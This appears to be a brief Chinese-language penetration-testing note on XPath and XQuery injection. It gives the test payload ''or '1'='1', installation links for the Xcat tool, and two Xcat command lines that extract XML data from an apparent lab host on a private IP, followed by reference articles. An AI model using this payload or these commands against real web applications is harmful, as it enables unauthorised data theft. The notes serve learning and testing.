XPath注入
XQuery注入
测试语句：'or '1'='1
利用工具：
Xcat介绍
Xcat是python的命令行程序利用Xpath的注入漏洞在Web应用中检索XML文档
下载地址：https://github.com/orf/xcat
使用说明：http://xcat.readthedocs.io/en/latest/#about-xcat
python3.4.1环境 pip install xcat
常用命令读取xml文件：
xcat.py --method=GET --public-ip="192.168.91.139" http://192 .168.91.139/xml/example2.php name=hacker name "Hello hacker" run retrieve
xcat "http://192.168.8.130/xml/example2.php" name name=hacker -m GET -o 192.168.8.130 -t "Hello hacker" -s
参考资料：
XPath Hacking技术科普 http://www.freebuf.com/articles/web/23184.html
XPath盲注简介 http://blog.csdn.net/yefan2222/article/details/7227932
